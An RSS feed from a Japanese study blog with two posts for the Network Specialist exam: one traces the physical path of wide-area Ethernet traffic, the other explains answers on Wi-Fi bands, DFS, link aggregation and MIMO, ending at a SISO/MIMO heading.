<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>あせびよ</title>
	<atom:link href="https://ascend-beyond.com/feed/" rel="self" type="application/rss+xml" />
	<link>https://ascend-beyond.com</link>
	<description></description>
	<lastBuildDate>Sun, 04 Oct 2026 09:55:43 +0000</lastBuildDate>
	<language>ja</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=7.1.2</generator>

<image>
	<url>https://ascend-beyond.com/wp-content/uploads/2024/03/cropped-9376b452e9b0c7a8bdf82cd2e63920ee-32x32.jpg</url>
	<title>あせびよ</title>
	<link>https://ascend-beyond.com</link>
	<width>32</width>
	<height>32</height>
</image> 
<atom:link rel="hub" href=""/>	<item>
		<title>広域イーサネットの物理構成</title>
		<link>https://ascend-beyond.com/study/8391/</link>
		
		<dc:creator><![CDATA[管理人]]></dc:creator>
		<pubDate>Sun, 04 Oct 2026 04:57:24 +0000</pubDate>
				<category><![CDATA[Study]]></category>
		<category><![CDATA[ネスペ]]></category>
		<guid isPermaLink="false">https://ascend-beyond.com/?p=8391</guid>

					<description><![CDATA[▼広域イーサネットの物理構成 まずは広域イーサネットの物理構成を見ていこう。ここで例に挙げるのは、令和４年度のネットワークスペシャリスト試験午後Ⅱ問Ⅰのユースケースを使いながら見ていこう！大枠：本社からM社広域イーサネッ [&#8230;]]]></description>
										<content:encoded><![CDATA[
<h2 class="wp-block-heading">▼広域イーサネットの物理構成</h2>



<p class="wp-block-paragraph">まずは広域イーサネットの物理構成を見ていこう。ここで例に挙げるのは、令和４年度のネットワークスペシャリスト試験午後Ⅱ問Ⅰのユースケースを使いながら見ていこう！<br>大枠：本社からM社広域イーサネットを経由して本社が保持しているデータセンタへ通信するというシナリオである。</p>



<figure class="wp-block-image size-large"><img decoding="async" src="https://ascend-beyond.com/wp-content/uploads/2026/10/35071070d52ca9a0aa5c989d474885c8-1024x611.jpg" alt="" class="wp-image-8392"/></figure>



<p class="wp-block-paragraph">ここでは、本社L3SW11とM社広域イーサネットの区間（赤色の部分）の物理構成がどうなっているのかを見ていく。以下のイラストを参考にしつつやっていこう！では、出発進行！</p>



<figure class="wp-block-image size-large"><img fetchpriority="high" decoding="async" width="1024" height="559" src="https://ascend-beyond.com/wp-content/uploads/2026/10/3b8becf027de96f04369345ce1025070-1024x559.jpg" alt="" class="wp-image-8389" srcset="https://ascend-beyond.com/wp-content/uploads/2026/10/3b8becf027de96f04369345ce1025070-1024x559.jpg 1024w, https://ascend-beyond.com/wp-content/uploads/2026/10/3b8becf027de96f04369345ce1025070-300x164.jpg 300w, https://ascend-beyond.com/wp-content/uploads/2026/10/3b8becf027de96f04369345ce1025070-766x418.jpg 766w, https://ascend-beyond.com/wp-content/uploads/2026/10/3b8becf027de96f04369345ce1025070.jpg 1200w" sizes="(max-width: 1024px) 100vw, 1024px" /></figure>



<p class="wp-block-paragraph"><strong><span class="fz-22px">ステップ1：本社での送信とMDFへの集約</span></strong></p>



<ul start="1" class="wp-block-list">
<li><strong>L3スイッチとSFP+モジュール:</strong> <br>本社の業務端末やVDIからのパケットは、本社のL3スイッチ（<code>L3SW11</code>など）で処理される。<br>L3スイッチのポートに挿さった<strong><span class="bold-blue">SFP+モジュール</span></strong>によって、内部の電気信号が光信号に変換される。<br><span class="fz-16px">＊<span class="blue">SFP/SFP＋モジュール</span>(<span class="fz-14px">Small Form-factor Pluggable</span>)：<span class="fz-14px">電気信号と光信号を相互に変換する機器</span></span><span class="fz-14px">。</span></li>



<li><strong>MDF（主配線盤）の経由:</strong> <br>変換された光信号は、光ファイバーパッチケーブルを通ってビルの地下などにあるMDF室に集約され、ビル内の配線から外部への引き込み口へと繋がる<br><span class="fz-16px">＊<span class="blue">MDF</span>(<span class="fz-16px"><span class="fz-14px">Main Distribution Frame</span></span>):<span class="fz-14px">外部の光ファイバケーブルと内部の光ファイバケーブルの集約点。</span></span><span class="fz-14px">事業者ではなくビルの所有者側が準備する。光だけでなく電話線なども収容する</span><br><span class="fz-14px">内部の光ファイバと外部のNTTファイルは太さが異なる。それを人間の手で溶かしたりして接続する。その接続したものを格納する箱がODFであり、それを収容しているのがMDF</span>。</li>
</ul>



<p class="wp-block-paragraph"><strong><span class="fz-22px">ステップ2：NTTアクセス網と局舎の通過（本社側）</span></strong></p>



<ul start="3" class="wp-block-list">
<li><strong>地下管路からNTT局舎へ:</strong> <br>本社ビルの地下から出た光ファイバーは、道路の地下管路を通って最寄りの<span class="bold-blue">NTTの局舎</span>へ到達する。<br>＊<span class="blue"><span class="fz-16px">NTT局舎</span></span><span class="fz-14px">：全国数千か所に渡って設置されている。ネットワークの中継ポイント</span></li>



<li><strong>NTT局舎でのハードウェア・スルー（中身を見ない転送）:</strong> <br>NTTの局舎（<span class="bold-blue">ODF</span>やアクセス回線終端装置）では、パケットの中身（IPアドレスなど）は一切見ない。「この物理回線（またはアクセス回線）から入ってきた信号は、あらかじめ契約されたM社用のポートへそのまま流す」という固定的な設定（クロスコネクト）に従い、無条件でキャリアM社のネットワークへ受け渡される。<br><span class="fz-16px">＊<span class="blue">ODF</span>(Optical Distribution Frame)：<span class="fz-14px">本社はフロアごとに複数のケーブルを持っている。その複数のケーブルを整理するための箱。ODF内の回路上をデータが通るというよりも、ただ物理的に配線をきれいに整えているだけ</span></span></li>
</ul>



<p class="wp-block-paragraph"><strong><span class="fz-22px">ステップ3：キャリアM社網（POP）でのL2 / MPLS転送</span></strong></p>



<ul start="5" class="wp-block-list">
<li><strong>M社収容局（POP）への到着:</strong> キャリアM社のPOP（収容局）に届いた信号は、M社のコアネットワーク（MPLS網）に入る。<br><span class="fz-14px">＊</span><span class="fz-16px"><span class="blue">POP</span>(Point of Presence)</span><span class="fz-14px">：NTT局舎と同じ考え方を踏襲した仕組み。M社広域イーサネットの出入口を各地に分散配置しているもの。</span></li>



<li><strong>MACアドレス・ラベルによる転送:</strong> <br>広域イーサネットは「巨大なL2ネットワーク」として振る舞う。M社側の装置は、フレームの宛先MACアドレスや内部のMPLSラベルを確認し、「このフレームはデータセンター側（対向拠点）へ向かうべきものだ」と判断して、対向拠点宛てのパス（MPLSトンネル）に載せて高速に転送する。</li>
</ul>



<p class="wp-block-paragraph"><strong><span class="fz-22px">ステップ4：データセンター側NTT局舎・アクセス網の通過</span></strong></p>



<ul start="7" class="wp-block-list">
<li><strong>対向側のNTT局舎への到着:</strong> <br>M社網を通過したデータは、データセンター側の最寄りにあるNTT局舎へ届けられる。</li>



<li><strong>局舎からデータセンターMDFへ:</strong> <br>本社側と同様に、NTT局舎側でも「M社が借り受けている回線から来たもの」として、物理的・論理的な経路に従ってデータセンターのビルへ送り出される。</li>
</ul>



<p class="wp-block-paragraph"><strong><span class="fz-22px">ステップ5：データセンターでの受信とサーバーへの到達</span></strong></p>



<ul start="9" class="wp-block-list">
<li><strong>データセンターMDFからL3スイッチへ:</strong><br>データセンタービルの地下やMDF室に届いた光信号は、光配線盤（ODF）やMDFを経由し、データセンター側のL3スイッチ（<code>L3SW31</code>など）に到達する。</li>



<li><strong>電気信号への変換とサーバーへの配信:</strong> <br>L3スイッチのSFP+モジュールによって光信号から電気信号へ再変換され、最終的にルーティング処理を経て目的のVDIサーバーや業務サーバーへとデータが届けられる。</li>
</ul>



<p class="wp-block-paragraph"></p>



<p class="wp-block-paragraph"></p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>令和5年（2023年）ネスペ午後Ⅰ　問Ⅲ　解答解説</title>
		<link>https://ascend-beyond.com/study/8340/</link>
		
		<dc:creator><![CDATA[管理人]]></dc:creator>
		<pubDate>Fri, 02 Oct 2026 12:18:22 +0000</pubDate>
				<category><![CDATA[Study]]></category>
		<category><![CDATA[ネスペ]]></category>
		<guid isPermaLink="false">https://ascend-beyond.com/?p=8340</guid>

					<description><![CDATA[設問１ a:トライバンド　b:アンテナ　c:パスワード　d:チャネルボンディング　e:PoE++　f:マルチギガビットイーサネット　g:スタック　h:DHCPリレーエージェント a:トライバンド　３つの異なる周波数帯を使 [&#8230;]]]></description>
										<content:encoded><![CDATA[
<h2 class="wp-block-heading"><span id="toc1">設問１</span></h2>



<h3 class="wp-block-heading"><span id="toc2">a:トライバンド　b:アンテナ　c:パスワード　d:チャネルボンディング　e:PoE++　f:マルチギガビットイーサネット　g:スタック　h:DHCPリレーエージェント</span></h3>



<p class="wp-block-paragraph"><strong>a:トライバンド<br></strong>　３つの異なる周波数帯を使って同時にネットワークを提供すること。基本的な組み合わせは2.4GHz+5GHz(W52 or W53)+5GHz(W56)である。</p>



<p class="wp-block-paragraph">b~eは基本的な知識問題であるため割愛</p>



<p class="wp-block-paragraph"><strong>f:マルチギガビットイーサネット</strong><br>　マルチギガビットイーサネットとは既存の古いLANケーブル（Cat5eやCat6）をそのまま活かしながら、1Gbpsを超えて『2.5Gbps』や『5Gbps』といった速度を出せるようにする技術。スイッチ側で変調方式を変えることで今までよりも多くのデータが送れるようになる。つまり、ケーブルはそのままでいいが、スイッチ自体はマルチギガビットイーサネットに対応するスイッチに変更する必要がある。</p>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><td><strong>カテゴリー</strong></td><td><strong>最大通信速度</strong></td><td><strong>周波数帯域 (MHz)</strong></td><td><strong>主な用途・特徴</strong></td><td><strong>マルチギガ（2.5G/5G）への適性</strong></td></tr></thead><tbody><tr><td><strong>Cat5</strong><br>（カテゴリ5）</td><td>100 Mbps</td><td>100 MHz</td><td>昔の古い規格。現在はほぼ使われておらず、実質的に過去の遺物。</td><td>不向き（対象外）</td></tr><tr><td><strong>Cat5e</strong><br>（カテゴリ5e）</td><td>1 Gbps</td><td>100 MHz</td><td>長年、オフィスや家庭の標準だった「1Gの定番」。マルチギガ技術により <strong>2.5G/5G の延命利用</strong>も可能。</td><td><strong>対応可能</strong>（マルチギガの恩恵を受ける）</td></tr><tr><td><strong>Cat6</strong><br>（カテゴリ6）</td><td>1 Gbps<br><em>(※短距離なら10Gも)</em></td><td>250 MHz</td><td>内部に十字の仕切り（<span class="bold-blue">セパレーター</span>）があり、Cat5eよりノイズに強い。</td><td><strong>対応可能</strong>（マルチギガの恩恵を受ける）</td></tr><tr><td><strong>Cat6A</strong><br>（カテゴリ6A）</td><td><strong>10 Gbps</strong></td><td>500 MHz</td><td><strong>現在の新築やオフィスの主流・大正解。</strong> 10Gを安定して飛ばせる、ノイズ対策万全のスタンダード。</td><td><strong>完全対応</strong>（余裕でクリア）</td></tr><tr><td><strong>Cat7 / Cat8</strong><br><em>(参考)</em></td><td>10G 〜 40 Gbps</td><td>600 〜 2000 MHz</td><td>主にデータセンターや超シビアな業務用。一般家庭や通常のオフィスではオーバースペック（規格外のコネクタ形状の場合もあり）。</td><td>余裕で対応（ただし一般オフィスにはほぼ不要）</td></tr></tbody></table></figure>



<h2 class="wp-block-heading"><span id="toc3">設問２</span></h2>



<h3 class="wp-block-heading"><span id="toc4">（１）周波数帯：①W52 or W53　②W56　　　　利点：より多くのWLAN端末が安定して通信できる</span></h3>



<p class="wp-block-paragraph"><strong>周波数帯：①W52 or W53　②W56<br></strong>　そもそもW52,53,56とはランダムにつけられた名前ではなく、中心となる周波数帯を明示しているものになっている。つまり、W52とW53は隣り合った周波数帯であるといえる。そのため、干渉などを考慮して、W52とW53は同時に使わずペアとして使う時はW56をペアにするというのが一般的な知見である。</p>



<p class="wp-block-paragraph"><strong>利点：より多くのWLAN端末が安定して通信できる<br></strong>　無線通信を3つの周波数帯に分散できるため、1つの無線帯域に端末が集中することによる混雑・干渉を減らし、全体の通信効率を高められる。無線リソースを分散して、混雑を緩和できるという表現でもよさそう。</p>



<h3 class="wp-block-heading"><span id="toc5">（２）周波数帯：W53,W56　　　　動作：検知したチャネルの電波を停止し、ほかのチャネルに遷移して再開する　　　　影響：APとの接続断や通信断が不定期に発生する</span></h3>



<p class="wp-block-paragraph"><strong>周波数帯：W53,W56</strong><br>　W53とW56は気象レーダーや船舶レーダーなどの重要無線と周波数が被る帯域（W53とW56）だから、法律でDFS（レーダー回避機能）が義務付けられている。<br>　＊注意！：屋外用に使うからと勘違いすることもあるが、W53は屋外では使えない。屋外で使えるのはW56だけ。</p>



<p class="wp-block-paragraph"><strong>動作：検知したチャネルの電波を停止し、ほかのチャネルに遷移して再開する</strong><br>▼DFA（Dynamic Frequency Selection）の動作<br>１．起動時・切り替え時の「じっと待つ時間」（CAC）<br>　・ルーターの電源を入れたり、チャンネルを切り替えたりした直後、いきなり電波を出すことは法律で禁止されている。<br>　・まずは一定時間（W53なら<span class="bold-blue">約1分</span>、W56ならなんと<span class="bold-blue">約10分間</span>）、「ここに気象レーダーなどの電波が来ていないか？」をひたすら聴覚（受信）だけで監視。この安全確認の時間をクリアして初めて電波を発射できる。<br>２．通信中の常時監視（ISM）<br>　・通信が始まってからも、ルーターは常に耳を澄ませて、レーダー波が割り込んできていないかを監視し続ける。<br>３．レーダー検知時の「即座の退避と停止」<br>　・さらに、一度レーダーを検知したチャンネルは、法律上「しばらく（約30分間）は使ってはいけない」というペナルティ（非居住期間）が課される。<br>もし通信中にレーダーを検知すると、ルーターは数秒（規格では10秒以内など）という猛スピードでそのチャンネルの電波を完全停止させ、別の安全なチャンネルへ接続をジャンプさせる。これが試験の答えにあった「<span class="bold-blue">検知したチャネルの電波を停止し、他のチャネルに遷移して再開する</span>」という動作の正体。</p>



<p class="wp-block-paragraph"><strong>影響：APとの接続断や通信断が不定期に発生する</strong><br>　上記のDFSフローを見てわかる通り、干渉を検知すると当該チャネルが停止される。また、ルータの検知プロセス中は接続できなくなる。そして、気象レーダーや船舶レーダーはいつ電波が来るか予想できない。これらの特徴から<span class="bold-blue">APとの接続断や通信断が不定期に発生する</span>という回答になる。</p>



<h2 class="wp-block-heading"><span id="toc6">設問３</span></h2>



<h3 class="wp-block-heading"><span id="toc7">（１） 800</span></h3>



<p class="wp-block-paragraph">1hで7.2GBの動画を再生できることが条件にある。<br>→(ビットに変換)　7.2GB × 8 = 57.6Gb　<br>→(1時間当たりの合計データ量)　57.6 × 50人 = 2880Gb　<br>→(1秒当たりの合計データ量)　2880Gb ÷ 3600 = 0.8Gbps　<br>→(1秒当たりの合計データ量をMに変換)　0.8 × 10<sup>3</sup>　= <span class="bold-blue">800Mbps</span>　</p>



<h3 class="wp-block-heading"><span id="toc8">（２）区間：（ii）, 理由：平常時にリンク本数分の帯域を同時に利用できるから</span></h3>



<figure class="wp-block-image size-full"><img decoding="async" width="1024" height="804" src="https://ascend-beyond.com/wp-content/uploads/2026/10/layer.jpg" alt="" class="wp-image-8374"/></figure>



<p class="wp-block-paragraph"><strong>区間：（ii）<br></strong>区間（ii）は「基幹L3SW」と「サーバL2SW1」の間を結ぶ区間。<br>区間（iii）もなかなかのデータ量があるから危険では？と思うが区間（iii）はフロアごとにケーブルがあるので問題ない。しかし、（ii）は３つのフロアがすべてまとめられたデータを扱わなくてはならない。<br>区間(i)はインターネットとのやり取りなので大容量が求められそうだが、問題文中の「STPとVRRPではボトルネック～」とあるように、区間(i)はIP層のやり取りなのでSTPとVRRPの影響は受けず、問の回答として適切ではない。</p>



<p class="wp-block-paragraph"><strong>理由：平常時にリンク本数分の帯域を同時に利用できるから</strong><br>STPではループ防止のため、ループ構造になっているインタフェースをブロックする。要は、利用されないケーブルがでる。しかし、ここでリンクアグリゲーション、つまり複数のケーブルを１本と扱うことによって、今まで使っていなかったケーブルが使えるようになる。結果として回答の「平常時にリンク本数分の帯域を同時に利用できるから」という回答になる</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h3 class="wp-block-heading"><span id="toc9">p.14 Q.Wi-Fi4ってなに？</span></h3>



<figure class="wp-block-image size-full"><img decoding="async" width="120" height="47" src="https://ascend-beyond.com/wp-content/uploads/2026/09/image-138.png" alt="" class="wp-image-8343"/></figure>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><td><strong>項目</strong></td><td><strong>Wi-Fi 4 の仕様・特徴</strong></td></tr></thead><tbody><tr><td><strong>無線LAN規格</strong></td><td>IEEE 802.11n<sup></sup></td></tr><tr><td><strong>最大通信速度（理論値）</strong></td><td>600 Mbps<sup></sup></td></tr><tr><td><strong>周波数帯</strong></td><td>2.4 GHz帯 / 5GHz帯（W52 / W53 / W56）<sup></sup></td></tr><tr><td><strong>変調方式</strong></td><td>64QAM<sup></sup></td></tr><tr><td><strong>空間分割多重</strong></td><td>MIMO<sup></sup></td></tr><tr><td><strong>多重方式</strong></td><td>OFDM（直交周波数分割多重）<sup></sup></td></tr></tbody></table></figure>



<h3 class="wp-block-heading"><span id="toc10">Q.最大通信速度が600Mbpsってどうやって算出するの？</span></h3>



<p class="wp-block-paragraph"><strong>①108 サブキャリア× 6 ビット/シンボル(64QAM)= 648 ビット/シンボル</strong><br>　108のサブキャリアは算出したというよりも規格で「サブキャリアは108本まで使える」と規定で決められている<br><strong>②1秒 ÷ 3.6マイクロ秒 = 約277,777回/秒 のシンボルを送れる</strong><br>　　1つのOFDMシンボルの送信にかかる時間(シンボル period)が3.6マイクロ秒と規格で定められています<br><strong>③648ビット × 277,777回/秒 ≒ 180 Mbps<br></strong>　符号化前のビットレートを計算<br><strong>④180 Mbps × (5/6) = 150 Mbps<br></strong>　誤り訂正のための冗長ビットが混ざっている分、実際に運べる正味のデータは全体の5/6だけ。<br><strong>⑤150 Mbps × 4ストリーム = 600 Mbps<br></strong>　MIMOストリーム数を掛ける<br>これが最終的な理論最大値です。</p>



<div class="wp-block-kevinbatdorf-code-block-pro cbp-has-line-numbers" data-code-block-pro-font-family="Code-Pro-JetBrains-Mono" style="font-size:.875rem;font-family:Code-Pro-JetBrains-Mono,ui-monospace,SFMono-Regular,Menlo,Monaco,Consolas,monospace;--cbp-line-number-color:#F8F8F2;--cbp-line-number-width:calc(1 * 0.6 * .875rem);line-height:1.25rem;--cbp-tab-width:2;tab-size:var(--cbp-tab-width, 2)"><span style="display:flex;align-items:center;padding:10px 0px 10px 16px;margin-bottom:-2px;width:100%;text-align:left;background-color:#34362e;color:#efefe1">Hjson</span><span role="button" tabindex="0" data-code="①108 サブキャリア× 6 ビット/シンボル(64QAM)= 648 ビット/シンボル
②1秒 ÷ 3.6マイクロ秒 = 約277,777回/秒 のシンボルを送れる
③648ビット × 277,777回/秒 ≒ 180 Mbps
④180 Mbps × (5/6) = 150 Mbps
⑤150 Mbps × 4ストリーム = 600 Mbps" style="color:#F8F8F2;display:none" aria-label="Copy" class="code-block-pro-copy-button"><svg xmlns="http://www.w3.org/2000/svg" style="width:24px;height:24px" fill="none" viewBox="0 0 24 24" stroke="currentColor" stroke-width="2"><path class="with-check" stroke-linecap="round" stroke-linejoin="round" d="M4.5 12.75l6 6 9-13.5"></path><path class="without-check" stroke-linecap="round" stroke-linejoin="round" d="M16.5 8.25V6a2.25 2.25 0 00-2.25-2.25H6A2.25 2.25 0 003.75 6v8.25A2.25 2.25 0 006 16.5h2.25m8.25-8.25H18a2.25 2.25 0 012.25 2.25V18A2.25 2.25 0 0118 20.25h-7.5A2.25 2.25 0 018.25 18v-1.5m8.25-8.25h-6a2.25 2.25 0 00-2.25 2.25v6"></path></svg></span><pre class="shiki monokai" style="background-color: #272822" tabindex="0"><code><span class="line"><span style="color: #E6DB74">①108 サブキャリア× 6 ビット/シンボル(64QAM)= 648 ビット/シンボル</span></span>
<span class="line"><span style="color: #E6DB74">②1秒 ÷ 3.6マイクロ秒 = 約277,777回/秒 のシンボルを送れる</span></span>
<span class="line"><span style="color: #E6DB74">③648ビット × 277,777回/秒 ≒ 180 Mbps</span></span>
<span class="line"><span style="color: #E6DB74">④180 Mbps × (5/6) = 150 Mbps</span></span>
<span class="line"><span style="color: #E6DB74">⑤150 Mbps × 4ストリーム = 600 Mbps</span></span></code></pre></div>



<h3 class="wp-block-heading"><span id="toc11">Q.W52 / W53 / W56とは？</span></h3>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><td><strong>グループ名</strong></td><td><strong>周波数帯</strong></td><td><strong>主なチャンネル例（20MHz幅）</strong></td><td><strong>屋外での利用</strong></td><td><strong>DFS（気象レーダー回避機能）の義務</strong></td></tr></thead><tbody><tr><td><strong>W52</strong></td><td>5.2 GHz帯</td><td>36, 40, 44, 48ch</td><td><strong>不可</strong>（屋内のみ）</td><td><strong>不要</strong></td></tr><tr><td><strong>W53</strong></td><td>5.3 GHz帯</td><td>52, 56, 60, 64ch</td><td><strong>不可</strong>（屋内のみ）</td><td><strong>必要</strong>（レーダーを検知すると電波を停止・移動）</td></tr><tr><td><strong>W56</strong></td><td>5.6 GHz帯</td><td>100, 104, 108, 112, 116, 120, 124, 128, 132, 136, 140, 144</td><td><strong>可</strong>（屋外もOK）</td><td><strong>必要</strong>（レーダーを検知すると電波を停止・移動）</td></tr></tbody></table></figure>



<h4 class="wp-block-heading"><span id="toc12">Q.なんでチャンネルは4刻みなの？</span></h4>



<p class="wp-block-paragraph">５GHz帯のチャネル番号割り当てには以下のルールがある。</p>



<div class="wp-block-kevinbatdorf-code-block-pro cbp-has-line-numbers" data-code-block-pro-font-family="Code-Pro-JetBrains-Mono" style="font-size:.875rem;font-family:Code-Pro-JetBrains-Mono,ui-monospace,SFMono-Regular,Menlo,Monaco,Consolas,monospace;--cbp-line-number-color:#F8F8F2;--cbp-line-number-width:calc(1 * 0.6 * .875rem);line-height:1.25rem;--cbp-tab-width:2;tab-size:var(--cbp-tab-width, 2)"><span style="display:flex;align-items:center;padding:10px 0px 10px 16px;margin-bottom:-2px;width:100%;text-align:left;background-color:#34362e;color:#efefe1">Hjson</span><span role="button" tabindex="0" data-code="中心周波数(MHz) = 5000 + (チャネル番号 × 5)" style="color:#F8F8F2;display:none" aria-label="Copy" class="code-block-pro-copy-button"><svg xmlns="http://www.w3.org/2000/svg" style="width:24px;height:24px" fill="none" viewBox="0 0 24 24" stroke="currentColor" stroke-width="2"><path class="with-check" stroke-linecap="round" stroke-linejoin="round" d="M4.5 12.75l6 6 9-13.5"></path><path class="without-check" stroke-linecap="round" stroke-linejoin="round" d="M16.5 8.25V6a2.25 2.25 0 00-2.25-2.25H6A2.25 2.25 0 003.75 6v8.25A2.25 2.25 0 006 16.5h2.25m8.25-8.25H18a2.25 2.25 0 012.25 2.25V18A2.25 2.25 0 0118 20.25h-7.5A2.25 2.25 0 018.25 18v-1.5m8.25-8.25h-6a2.25 2.25 0 00-2.25 2.25v6"></path></svg></span><pre class="shiki monokai" style="background-color: #272822" tabindex="0"><code><span class="line"><span style="color: #E6DB74">中心周波数(MHz) = 5000 + (チャネル番号 × 5)</span></span></code></pre></div>



<p class="wp-block-paragraph">要は、５MHzごとにチャネル番号を割り当てる必要があるということ。そして、干渉を防ぐには20MHz空ける必要がある。結果として４ch分ずつ空いたチャネル番号が使われているということ。<br>もちろんW52などでも37,38を割り当てようと思えば割り当てられるが、それは干渉を引き起こしてしまうので、わざわざ明示的に割り当てる必要がない。結果として、W52の場合は36, 40, 44, 48の４つが使われている。</p>



<p class="wp-block-paragraph">ちなみに2.4GHzの場合は👇となる。</p>



<div class="wp-block-kevinbatdorf-code-block-pro cbp-has-line-numbers" data-code-block-pro-font-family="Code-Pro-JetBrains-Mono" style="font-size:.875rem;font-family:Code-Pro-JetBrains-Mono,ui-monospace,SFMono-Regular,Menlo,Monaco,Consolas,monospace;--cbp-line-number-color:#F8F8F2;--cbp-line-number-width:calc(1 * 0.6 * .875rem);line-height:1.25rem;--cbp-tab-width:2;tab-size:var(--cbp-tab-width, 2)"><span style="display:flex;align-items:center;padding:10px 0px 10px 16px;margin-bottom:-2px;width:100%;text-align:left;background-color:#34362e;color:#efefe1">Hjson</span><span role="button" tabindex="0" data-code="中心周波数(MHz) = 2407 + (チャネル番号 × 5)

#例
チャンネル 1 の場合:
2407 + (1 x 5) = 2412（2.412 GHz）

チャンネル 6 の場合:
2407 + (6 x 5) = 2437（2.437 GHz）" style="color:#F8F8F2;display:none" aria-label="Copy" class="code-block-pro-copy-button"><svg xmlns="http://www.w3.org/2000/svg" style="width:24px;height:24px" fill="none" viewBox="0 0 24 24" stroke="currentColor" stroke-width="2"><path class="with-check" stroke-linecap="round" stroke-linejoin="round" d="M4.5 12.75l6 6 9-13.5"></path><path class="without-check" stroke-linecap="round" stroke-linejoin="round" d="M16.5 8.25V6a2.25 2.25 0 00-2.25-2.25H6A2.25 2.25 0 003.75 6v8.25A2.25 2.25 0 006 16.5h2.25m8.25-8.25H18a2.25 2.25 0 012.25 2.25V18A2.25 2.25 0 0118 20.25h-7.5A2.25 2.25 0 018.25 18v-1.5m8.25-8.25h-6a2.25 2.25 0 00-2.25 2.25v6"></path></svg></span><pre class="shiki monokai" style="background-color: #272822" tabindex="0"><code><span class="line"><span style="color: #E6DB74">中心周波数(MHz) = 2407 + (チャネル番号 × 5)</span></span>
<span class="line"></span>
<span class="line"><span style="color: #88846F">#例</span></span>
<span class="line"><span style="color: #E6DB74">チャンネル 1 の場合:</span></span>
<span class="line"><span style="color: #E6DB74">2407 + (1 x 5) = 2412（2.412 GHz）</span></span>
<span class="line"></span>
<span class="line"><span style="color: #E6DB74">チャンネル 6 の場合:</span></span>
<span class="line"><span style="color: #E6DB74">2407 + (6 x 5) = 2437（2.437 GHz）</span></span></code></pre></div>



<h3 class="wp-block-heading"><span id="toc13">Q.64QAMってなに？</span></h3>



<p class="wp-block-paragraph">▼QAMとは？</p>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><td><strong>項目</strong></td><td><strong>内容</strong></td></tr></thead><tbody><tr><td><strong>正式名称</strong></td><td>Quadrature Amplitude Modulation（直交振幅変調）</td></tr><tr><td><strong>方式の役割</strong></td><td>デジタルデータを電波の「振幅」と「位相」の変化に割り当てて送信する変調方式</td></tr><tr><td><strong>特徴</strong></td><td>1つのシンボル（電波の状態の区切り）に多くのビットを詰め込むことで、高速なデータ通信を実現する</td></tr></tbody></table></figure>



<p class="wp-block-paragraph">上記より、64QAMとは1シンボルに6ビットの情報を乗せた変調方式（電気→電波）である。</p>



<h3 class="wp-block-heading"><span id="toc14">Q.MIMOって何？</span></h3>



<p class="wp-block-paragraph"><span class="bold-blue">MIMO</span>とはMultiple Input Multiple Outputの略で、<span class="bold-blue">複数のアンテナ</span>を使いながらも、受信側がそれぞれを別々の種類のデータとして識別できることによって、1回に送れる<span class="bold-blue">通信データ量を増やせる</span>、というのがMIMOのメリット。これをどうやって実現しているかというと、連立方程式のような計算。まず、パケットの前半には<span class="bold-blue">トレーニング信号</span>(テストデータ)が組み込まれている。このトレーニング信号によって、「このアンテナからの信号は、これくらいの角度のずれ・これくらいの強弱で届く」というチャネル係数(角度・強弱の情報)を、あらかじめ既知の値として把握しておく。その後、実際のデータが届くと、その&#8221;既に分かっている角度・強弱の情報&#8221;を使って、連立方程式を解くようにして、&#8221;元々どのアンテナが何を送信したか(未知のデータ)&#8221;を逆算して復元する。この逆算の過程で、それぞれ別のアンテナから来たデータが、自然と別々のものとして識別・分離される。これがMIMOでやっていること。一方、SISOでもマルチパスは存在しますが、SISOがやっているのは1種類だけのデータが、複数経路を経て歪んだものを、元の1つの信号に&#8221;補正&#8221;する処理であり、複数の異なるデータを分離しているわけではない。これがSISOとMIMOの本質的な違い。</p>



<p class="wp-block-paragraph">✅ MIMO = Multiple Input Multiple Output <br>✅ 複数アンテナで、別々のデータを送ることで通信容量が上がる <br>✅ トレーニングデータ(テストデータ)はパケットの前半に組み込まれている <br>✅ トレーニングデータから、角度の変化・弱まり具合(チャネル係数)を把握する <br>✅ 実データが届いたら、連立方程式的に逆算して元のデータを復元する <br>✅ 別々のアンテナから来たデータも、この逆算の過程で識別・分離される <br>✅ SISOはマルチパスに対して「補正」をしているだけで、「複数データの分離」はしていない、というSISOとMIMOの違い</p>



<p class="wp-block-paragraph"><strong>▼MIMOの基本仕様と仕組み</strong></p>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><td><strong>項目</strong></td><td><strong>内容</strong></td></tr></thead><tbody><tr><td><strong>正式名称</strong></td><td>Multiple Input Multiple Output（マルチ・インプット マルチ・アウトプット）</td></tr><tr><td><strong>基本コンセプト</strong></td><td>送信側・受信側の双方が<strong>複数のアンテナ</strong>を使い、同一の周波数帯（同じチャンネル）で、<strong>異なるデータ</strong>を同時に送受信する技術。</td></tr><tr><td><strong>最大の特徴（分離技術）</strong></td><td>空間の反射（マルチパス）によって電波が混ざり合っても、事前に送る「テストデータ（トレーニング信号）」で混ざり方のクセを把握し、連立方程式（行列の逆算）**で元のデータに綺麗に分離する。</td></tr></tbody></table></figure>



<p class="wp-block-paragraph"><strong>▼SISO と MIMO の違い</strong></p>



